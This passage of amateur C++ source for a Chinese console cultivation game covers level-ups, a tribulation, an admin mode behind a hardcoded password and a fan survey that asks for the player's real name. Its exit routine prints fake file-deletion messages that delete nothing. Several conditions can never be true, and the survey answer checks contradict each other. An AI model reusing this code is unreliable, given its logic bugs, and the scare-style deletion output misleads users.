    if(u>=350&&u<360&&b[81]==0){cout<<"突破炼虚中期1星,寿元提升至950年。"<<endl;qw=950;b[81]=1;}
    if(u>=360&&u<370&&b[82]==0){cout<<"突破炼虚中期2星,寿元提升至960年。"<<endl;qw=960;b[82]=1;}
    if(u>=370&&u<380&&b[83]==0){cout<<"突破炼虚中期3星,寿元提升至970年。"<<endl;qw=970;b[83]=1;}
    if(u>=380&&u<390&&b[84]==0){cout<<"突破炼虚中期4星,寿元提升至980年。"<<endl;qw=980;b[84]=1;}
    if(u>=390&&u<400&&b[85]==0){cout<<"突破炼虚中期5星,寿元提升至990年。"<<endl;qw=990;b[85]=1;}
    if(u>=400&&u<410&&b[86]==0){cout<<"突破炼虚高期1星,寿元提升至1000年。"<<endl;qw=1000;b[86]=1;}
    if(u>=410&&u<420&&b[87]==0){cout<<"突破炼虚高期2星,寿元提升至1010年。"<<endl;qw=1010;b[87]=1;}
    if(u>=420&&u<430&&b[88]==0){cout<<"突破炼虚高期3星,寿元提升至1020年。"<<endl;qw=1020;b[88]=1;}
    if(u>=430&&u<440&&b[89]==0){cout<<"突破炼虚高期4星,寿元提升至1030年。"<<endl;qw=1030;b[89]=1;}
    if(u>=440&&u<450&&b[90]==0){cout<<"突破炼虚高期5星,寿元提升至1040年。"<<endl;qw=1040;b[90]=1;}
    
    if(u>=450&&u<450&&b[91]==0){cout<<"突破合体初期1星,寿元提升至1050年。"<<endl;qw=1050;b[91]=1;}
    if(u>=460&&u<460&&b[92]==0){cout<<"突破合体初期2星,寿元提升至1060年。"<<endl;qw=1060;b[92]=1;}
    if(u>=470&&u<470&&b[93]==0){cout<<"突破合体初期3星,寿元提升至1070年。"<<endl;qw=1070;b[93]=1;}
    if(u>=480&&u<480&&b[94]==0){cout<<"突破合体初期4星,寿元提升至1080年。"<<endl;qw=1080;b[94]=1;}
    if(u>=490&&u<490&&b[95]==0){cout<<"突破合体初期5星,寿元提升至1090年。"<<endl;qw=1090;b[95]=1;}
    if(u>=500&&u<500&&b[96]==0){cout<<"突破合体中期1星,寿元提升至1100年。"<<endl;qw=1100;b[96]=1;}
    if(u>=510&&u<510&&b[97]==0){cout<<"突破合体中期2星,寿元提升至1110年。"<<endl;qw=1110;b[97]=1;}
    if(u>=520&&u<520&&b[98]==0){cout<<"突破合体中期3星,寿元提升至1120年。"<<endl;qw=1120;b[98]=1;}
    if(u>=530&&u<530&&b[99]==0){cout<<"突破合体中期4星,寿元提升至1130年。"<<endl;qw=1130;b[99]=1;}
    if(u>=540&&u<540&&b[100]==0){cout<<"突破合体中期5星,寿元提升至1140年。"<<endl;qw=1140;b[100]=1;}
    if(u>=550&&u<550&&b[101]==0){cout<<"突破合体高期1星,寿元提升至1150年。"<<endl;qw=1150;b[101]=1;}
    if(u>=560&&u<560&&b[102]==0){cout<<"突破合体高期2星,寿元提升至1160年。"<<endl;qw=1160;b[102]=1;}
    if(u>=570&&u<570&&b[103]==0){cout<<"突破合体高期3星,寿元提升至1170年。"<<endl;qw=1170;b[103]=1;}
    if(u>=580&&u<580&&b[104]==0){cout<<"突破合体高期4星,寿元提升至1180年。"<<endl;qw=1180;b[104]=1;}
    if(u>=590&&u<590&&b[105]==0){cout<<"突破合体高期5星,寿元提升至1190年。"<<endl;qw=1190;b[105]=1;}
    if(u>=600&&u<999&&b[106]==0){cout<<"进入准备渡劫期,寿元提升至1200年。"<<endl;qw=1200;b[106]=1;}
    cout<<endl;
    
    Sleep(ui);
    } SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"寿元终。"<<endl;
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    int mn=0;
    if(ui==100&&u<=999){
    cout<<"你一直看过来,一定很累吧?悄悄告诉你,颜值=12,智力=12,钱数=6时可以触发时间大道!"<<endl;
    Sleep(300);
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"开始度劫!!!"<<endl;
    Sleep(300);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"金元神劫落下"<<endl;
    if(s==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"木元神劫落下"<<endl;
    if(d==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"水元神劫落下"<<endl;
    if(f==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"火元神劫落下"<<endl;
    if(g==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"土元神劫落下"<<endl;
    if(h==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"本源元神劫落下"<<endl;
    if(a>=1){cout<<"你抗过了!"<<endl;
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    
    
    if(mn==1){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);cout<<"你没抗过,被劈死了!";}
    if(mn==0&&u>=550){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"你度劫成功,飞升为仙。你作为“人”的一生结束了!"<<endl;}
    else{if(mn==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"但是你修为不够,无法飞升,被神用雷劫劈死了!";}}
    
    
    int ad;
    cout<<"结束请输入ok(小写),管理员测试请输入密码。"<<endl;
    string sf;
    cin>>sf;
    if(sf=="ok"){cout<<"圆满结束!";}
    else if(sf=="tanyu"){ad=1;}
    else{
    cout<<"密码错误,请重新输入!"<<endl;
    for(;;){
    string qwe;
    cout<<"结束请输入ok(小写),管理员测试请输入密码。"<<endl;
    cin>>qwe;
    if(qwe=="ok"){cout<<"圆满结束!";break;}
    if(qwe=="tanyu"){ad=1;break;}
    else {cout<<"密码错误,请重新输入!"<<endl;}
    }
    }
    
    
    if(ad==1){
    for(int i=1;i<=15;i++){w[i]=0;}
    int j=50;
    cout<<"开启修神之路,神寿提升至10千年."<<endl;
    int ss=5;
    for(int i=1;i<=j;i++){
    int kk;
    kk=rand()%25+1;
    if(kk==1){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==2){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==3){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==4){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==5){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==6){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==7){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==8){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==9){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==10){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==11){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==12){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==13){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==14){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==15){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==16){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==17){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==18){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==19){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==20){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==21){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==22){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==23){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==24){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==25){cout<<"第"<<i<<"千年:"<<"听神讲课,顿悟修为增长。"<<endl;ss=ss+5;}
    
    if(w[1]==0&&ss==10||ss>10&&ss<15&&w[1]==0){cout<<"你达到散仙上期,神寿提升到15千年。"<<endl;j=15;w[1]=1;}
    if(w[2]==0&&ss==15||ss>15&&ss<20&&w[2]==0){cout<<"你达到散仙中期,神寿提升到20千年。"<<endl;j=20;w[2]=1;}
    if(w[3]==0&&ss==20||ss>20&&ss<25&&w[3]==0){cout<<"你达到散仙下期,神寿提升到25千年。"<<endl;j=25;w[3]=1;}
    if(w[4]==0&&ss==25||ss>25&&ss<30&&w[4]==0){cout<<"你达到地仙上期,神寿提升到30千年。"<<endl;j=30;w[4]=1;}
    if(w[5]==0&&ss==30||ss>30&&ss<35&&w[5]==0){cout<<"你达到地仙中期,神寿提升到35千年。"<<endl;j=35;w[5]=1;}
    if(w[6]==0&&ss==35||ss>35&&ss<40&&w[6]==0){cout<<"你达到地仙下期,神寿提升到40千年。"<<endl;j=40;w[6]=1;}
    if(w[7]==0&&ss==40||ss>40&&ss<45&&w[7]==0){cout<<"你达到仙人上期,神寿提升到45千年。"<<endl;j=45;w[7]=1;}
    if(w[8]==0&&ss==45||ss>45&&ss<50&&w[8]==0){cout<<"你达到仙人中期,神寿提升到50千年。"<<endl;j=50;w[8]=1;}
    if(w[9]==0&&ss==50||ss>50&&ss<55&&w[9]==0){cout<<"你达到仙人下期,神寿提升到55千年。"<<endl;j=55;w[9]=1;}
    if(w[10]==0&&ss==65||ss>55&&ss<60&&w[10]==0){cout<<"你达到上仙上期,神寿提升到60千年。"<<endl;j=60;w[10]=1;}
    if(w[11]==0&&ss==60||ss>60&&ss<70&&w[11]==0){cout<<"你达到上仙中期,神寿提升到65千年。"<<endl;j=65;w[11]=1;}
    if(w[12]==0&&ss==70||ss>70&&ss<80&&w[12]==0){cout<<"你达到上仙下期,神寿提升到70千年。"<<endl;j=70;w[12]=1;}
    if(w[13]==0&&ss==80||ss>80&&ss<90&&w[13]==0){cout<<"你达到金仙上期,神寿提升到75千年。"<<endl;j=75;w[13]=1;}
    if(w[14]==0&&ss==90||ss>90&&ss<100&&w[14]==0){cout<<"你达到金仙中期,神寿提升到80千年。"<<endl;j=80;w[14]=1;}
    if(w[15]==0&&ss==100||ss>100&&ss<110&&w[15]==0){cout<<"你达到金仙下期,神寿提升到85千年。"<<endl;j=85;w[15]=1;}
    
    cout<<endl;
    Sleep(io);
    }
    cout<<"寿元终!";
    }}
    if(q==2){
    cout<<"正在进入调查问卷,请稍后......"<<endl;
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    cout<<endl<<"成功进入调查问卷。";
    string A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R;
    cout<<"在正式开始调查问卷前,请输入您的真实姓名。"<<endl;Sleep(100);
    cin>>R;
    cout<<"正式进入调查问卷。"<<endl;Sleep(200);
    cout<<"调查问卷:"<<endl;Sleep(200);
    cout<<"本次调查问卷的每一道题都要认真思考后再选择"<<endl<<endl;Sleep(200);
    cout<<"开始答题。"<<endl<<endl<<endl;Sleep(200);
    cout<<"第1题:请问您对这个作品满意吗?"<<endl;Sleep(200);
    cout<<"A.满意 B.不满意"<<endl;Sleep(100);
    cin>>A;
    if(A=="B"){
    cout<<"请问还有哪些需要修改"<<endl;Sleep(100);
    cin>>B;
    cout<<"感谢您的反馈!"<<endl;Sleep(200);
    }
    else if(A=="A"){cout<<"感谢您对我们的认可!";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第2题:请问您知道这个作品的开发者吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>C;
    if(C=="A"){
    cout<<"请问这个作品的开发者是谁(输入名字)"<<endl;Sleep(100);
    cin>>K;
    if(K!="玄——后室迷"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品的开发者是:谭俊涵";Sleep(200);
    }
    else if(K=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(C=="B"){cout<<"这个作品的开发者是:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第3题:请问您对这个作品的开发者熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>J;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第4题:请问您知道这个作品是哪个工作室开发的吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>G;
    if(G=="A"){
    cout<<"请问这个作品的工作室是哪个工作室?"<<endl;Sleep(100);
    cin>>L;
    if(L!="神羽工作室"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"开发这个作品的工作室是:谭羽工作室";Sleep(200);
    }
    else if(L=="谭羽工作室"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(G=="B"){cout<<"开发这个作品的工作室是:谭羽工作室";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第5题:请问您知道这个作品的工作室有那些成员吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>H;
    if(H=="A"){
    cout<<"请问这个工作室有哪些成员?(提示:一个人)"<<endl;Sleep(100);
    cin>>M>>N;
    if(M=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    else{
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个工作室有这个成员:玄——后室迷";Sleep(200);
    }
    }
    else if(H=="B"){cout<<"这个工作室有这个成员:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第6题:请问您对这个工作室熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>I;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第7题:请问您知道这个作品会到哪一版停更吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>D;
    if(D=="A"){
    cout<<"请问这个作品会到哪一版停更?"<<endl;Sleep(100);
    cin>>O;
    if(O!="x.x"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品将会到x.x停更";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(D=="B"){cout<<"这个作品将会到x.x停更";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第8题:请问您知道您正在游玩的这个作品是哪个版本吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>E;
    if(E=="A"){
    cout<<"请问您正在游玩的这个版本是哪个版本的?"<<endl;Sleep(100);
    cin>>P;
    if(P!="5.5"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"您现在游玩的是5.5版";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(E=="B"){cout<<"您现在游玩的是5.0版";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第9题:请问您是从哪一个版本玩起的?"<<endl;Sleep(200);
    cout<<"A. 1.0 B. 1.5 C. 2.0 D. 2.5 E. 3.0 F. 3.5 G. 4.0 H. 4.5 I. 5.0"<<endl;Sleep(100);
    cin>>F;
    cout<<"您的真实名字是"<<" ";Sleep(200);
    cout<<R<<endl<<endl;Sleep(100);
    cout<<"第1题您的答案是"<<" ";Sleep(200);
    cout<<A<<endl<<endl;Sleep(100);
    cout<<"第2题您的答案是"<<" ";Sleep(200);
    cout<<C<<endl<<endl;Sleep(100);
    cout<<"第3题您的答案是"<<" ";Sleep(200);
    cout<<J<<endl<<endl;Sleep(100);
    cout<<"第4题您的答案是"<<" ";Sleep(200);
    cout<<G<<endl<<endl;Sleep(100);
    cout<<"第5题您的答案是"<<" ";Sleep(200);
    cout<<H<<endl<<endl;Sleep(100);
    cout<<"第6题您的答案是"<<" ";Sleep(200);
    cout<<I<<endl<<endl;Sleep(100);
    cout<<"第7题您的答案是"<<" ";Sleep(200);
    cout<<D<<endl<<endl;Sleep(100);
    cout<<"第8题您的答案是"<<" ";Sleep(200);
    cout<<E<<endl<<endl;Sleep(100);
    cout<<"第9题您的答案是"<<" ";Sleep(200);
    cout<<F<<endl<<endl;Sleep(100);
    cout<<"请问以上答案是否需要重新填写?如果需要重新填写,请输入1,如果不需要重新填写,请输入0"<<endl;Sleep(100);
    cin>>Q;
    if(Q=="1"){
    for(;;){
    cout<<"正在重新进入调查问卷。"<<endl;Sleep(250);
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    cout<<endl<<"已重新进入调查问卷。"<<endl<<endl<<endl;Sleep(100);
    string A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R;
    cout<<"在正式开始调查问卷前,请输入您的真实姓名。"<<endl;Sleep(100);
    cin>>R;
    cout<<"正式进入调查问卷。"<<endl;Sleep(200);
    cout<<"调查问卷:"<<endl;Sleep(200);
    cout<<"本次调查问卷的每一道题都要认真思考后再选择"<<endl<<endl;Sleep(200);
    cout<<"开始答题。"<<endl<<endl<<endl;Sleep(200);
    cout<<"第1题:请问您对这个作品满意吗?"<<endl;Sleep(200);
    cout<<"A.满意 B.不满意"<<endl;Sleep(100);
    cin>>A;
    if(A=="B"){
    cout<<"请问还有哪些需要修改"<<endl;Sleep(100);
    cin>>B;
    cout<<"感谢您的反馈!"<<endl;Sleep(200);
    }
    else if(A=="A"){cout<<"感谢您对我们的认可!";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第2题:请问您知道这个作品的开发者吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>C;
    if(C=="A"){
    cout<<"请问这个作品的开发者是谁(输入名字)"<<endl;Sleep(100);
    cin>>K;
    if(K!="谭俊涵"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品的开发者是:玄——后室迷";Sleep(200);
    }
    else if(K=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(C=="B"){cout<<"这个作品的开发者是:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第3题:请问您对这个作品的开发者熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>J;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第4题:请问您知道这个作品是哪个工作室开发的吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>G;
    if(G=="A"){
    cout<<"请问这个作品的工作室是哪个工作室?"<<endl;Sleep(100);
    cin>>L;
    if(L!="神羽工作室"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"开发这个作品的工作室是:神羽工作室";Sleep(200);
    }
    else if(L=="神羽工作室"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(G=="B"){cout<<"开发这个作品的工作室是:神羽工作室";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第5题:请问您知道这个作品的工作室有那些成员吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>H;
    if(H=="A"){
    cout<<"请问这个工作室有哪些成员?(提示:一个人)"<<endl;Sleep(100);
    cin>>M>>N;
    if(M=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    else{
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个工作室有这个成员:玄——后室迷";Sleep(200);
    }
    }
    else if(H=="B"){cout<<"这个工作室有这个成员:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第6题:请问您对这个工作室熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>I;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第7题:请问您知道这个作品会到哪一版停更吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>D;
    if(D=="A"){
    cout<<"请问这个作品会到哪一版停更?"<<endl;Sleep(100);
    cin>>O;
    if(O!="5.0"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品将会到5.0停更";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(D=="B"){cout<<"这个作品将会到5.0停更";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第8题:请问您知道您正在游玩的这个作品是哪个版本吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>E;
    if(E=="A"){
    cout<<"请问您正在游玩的这个版本是哪个版本的?"<<endl;Sleep(100);
    cin>>P;
    if(O!="5.0"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"您现在游玩的是5.0版";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(E=="B"){cout<<"您现在游玩的是5.0版";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第9题:请问您是从哪一个版本玩起的?"<<endl;Sleep(200);
    cout<<"A. 1.0 B. 1.5 C. 2.0 D. 2.5 E. 3.0 F. 3.5 G. 4.0 H. 4.5 I. 5.0"<<endl;Sleep(100);
    cin>>F;
    cout<<"您的真实名字是"<<" ";Sleep(200);
    cout<<R<<endl<<endl;Sleep(100);
    cout<<"第1题您的答案是"<<" ";Sleep(200);
    cout<<A<<endl<<endl;Sleep(100);
    cout<<"第2题您的答案是"<<" ";Sleep(200);
    cout<<C<<endl<<endl;Sleep(100);
    cout<<"第3题您的答案是"<<" ";Sleep(200);
    cout<<J<<endl<<endl;Sleep(100);
    cout<<"第4题您的答案是"<<" ";Sleep(200);
    cout<<G<<endl<<endl;Sleep(100);
    cout<<"第5题您的答案是"<<" ";Sleep(200);
    cout<<H<<endl<<endl;Sleep(100);
    cout<<"第6题您的答案是"<<" ";Sleep(200);
    cout<<I<<endl<<endl;Sleep(100);
    cout<<"第7题您的答案是"<<" ";Sleep(200);
    cout<<D<<endl<<endl;Sleep(100);
    cout<<"第8题您的答案是"<<" ";Sleep(200);
    cout<<E<<endl<<endl;Sleep(100);
    cout<<"第9题您的答案是"<<" ";Sleep(200);
    cout<<F<<endl<<endl;Sleep(100);
    cout<<"请问以上答案是否需要重新填写?如果需要重新填写,请输入1,如果不需要重新填写,请输入0"<<endl;Sleep(100);
    int dfg;
    cin>>dfg;
    if(dfg==0){
    MessageBox(NULL,"本作品的开发者是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品制作核心内容的是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品制作调查问卷的是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品的工作室是:神羽工作室","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品的代言人是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"玄——后室迷.","感谢您的回答!",MB_OK);
    MessageBox(NULL,"我们神羽工作室会更加努力创作更多作品。再见!","感谢您的回答!",MB_OK);
    break;
    }int QWE=0;
    if(dfg!=0&&dfg!=1){
    
    for(;;){
    cout<<"您没有输入1 或者0 哦!"<<endl<<endl;
    cin>>dfg;
    if(dfg==0){QWE=1;break;}
    if(dfg==1){break;}
    }
    }
    if(QWE==1)break;
    
    }
    }
    
    } if(q==0){
    cout<<"退出游戏中......"<<endl;Sleep(100);
    cout<<"删除数据中......"<<endl;Sleep(250);
    cout<<"删除账号中......"<<endl;Sleep(100);
    cout<<"删除存档中......"<<endl;Sleep(200);
    cout<<"删除indvsh.sfjds中......"<<endl;Sleep(60);
    cout<<"删除sdkgvsc中......"<<endl;Sleep(100);
    cout<<"删除.sdghfdj中......"<<endl;Sleep(80);
    cout<<"删除fdlg.dg中......"<<endl;Sleep(150);
    cout<<"删除dsfvnksdl中......"<<endl;Sleep(10);
    cout<<"删除fh.gffg/bea'sgnfd.,中......"<<endl;Sleep(150);
    cout<<"删除adbhwj#vsg@^dvbsvkcd中......"<<endl;Sleep(120);
    cout<<"删除fdsjkfg[sgkfd[vsdhk中......"<<endl;Sleep(60);
    cout<<"删除sfg?ds中......"<<endl;Sleep(60);
    cout<<"删除afhdogh!df*jso中......"<<endl;Sleep(500);
    cout<<"删除sdghfsids.g,ef>sjgv中......"<<endl;Sleep(60);
    cout<<"删除gfsdgdfbrsvbmm,nbdfb中......"<<endl;Sleep(35);
    cout<<"删除drgtfhrth>*dgjfi-ndfj中......"<<endl;Sleep(500);
    cout<<"删除sghdfjs.vbf/rws*vfdj中......"<<endl;Sleep(120);
    cout<<"删除sgh-+gdfigd5gv4df中......"<<endl;Sleep(100);
    cout<<"删除fdgh(2364e_dshf)dsnv中......"<<endl;Sleep(430);
    cout<<"删除ergh?;fgghdfjjbnd中......"<<endl;Sleep(100);
    cout<<"删除ergjwifgvb]ds.fjgsdfgvb中......"<<endl;Sleep(63);
    cout<<"删除sgufhailfd.hvguesao中......"<<endl;Sleep(150);
    cout<<"删除sdfvnj^&sdvfgadfh.d/h中......"<<endl;Sleep(130);
    cout<<"删除fdngfd.a823fbdh中......"<<endl;Sleep(190);
    cout<<"删除srgjirgerh./io,fgjbdgbgv中......"<<endl;Sleep(260);
    cout<<"删除rgtdrjhythcgdfghrj456中......"<<endl;Sleep(450);
    cout<<"删除jrekf62中......"<<endl;Sleep(610);
    cout<<"删除sghdfvnd.k,中......"<<endl;Sleep(500);
    cout<<"删除regfdibndj中......"<<endl;Sleep(300);
    cout<<"删除efgbvfvuseifg中......"<<endl;Sleep(456);
    cout<<"删除ksdfgbfjdngvsdfsdkp.m//dfv中......"<<endl;Sleep(300);
    cout<<"删除.vnjdsihgdfsj中......"<<endl;Sleep(600);
    cout<<"删除sjdgovjdfnngdf,sd;sdgf中......"<<endl;Sleep(123);
    cout<<"删除dfggdjfsjvjmndkcsdkfjkdkfjd中......"<<endl;Sleep(560);
    cout<<"删除dfgbfjdkvsklefhidos中......"<<endl;Sleep(320);
    cout<<"删除f,edufdhsbdg中......"<<endl;Sleep(500);
    cout<<"删除efgehsifvdsiorgpw中......"<<endl;Sleep(350);
    cout<<"删除gfjdondovdfon中......"<<endl;Sleep(300);
    cout<<"删除fjdiv.s?fso中......"<<endl;Sleep(860);
    cout<<"删除dgjskdlvc'sg中......"<<endl;Sleep(530);
    cout<<"删除edfuidsfg中......"<<endl;Sleep(163);
    cout<<"删除.renshengchongkaimoniqi中......"<<endl;Sleep(2000);
    cout<<"删除.tanyugongzuoshi中......"<<endl;Sleep(3000);
    cout<<"文件全部删除成功"<<endl;Sleep(40);
    cout<<"已退出游戏,再见"<<endl;
    }
    
    
    return 0;
    }
    

    Copy

    Copy

    #include<iostream>  
    #include<conio.h>
    #include<windows.h>
    #include<stdlib.h>
    #include<stdio.h>
    #include<time.h>            
    #include<string.h>
    using namespace std;
    int main()
    {
        int ty,o,j,p,n,sh=5,sm=40,dm=0;
        long long jb,bs=0,lj=0,sj=0,emzr=0,hyj=0,jssj=0,pgj=0,szj=0,hjj=0,zspf=0,hy=0,hfhzj=0,bd=1,ylb=1,zd=1,tnt=1;
    	system("color 3F");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
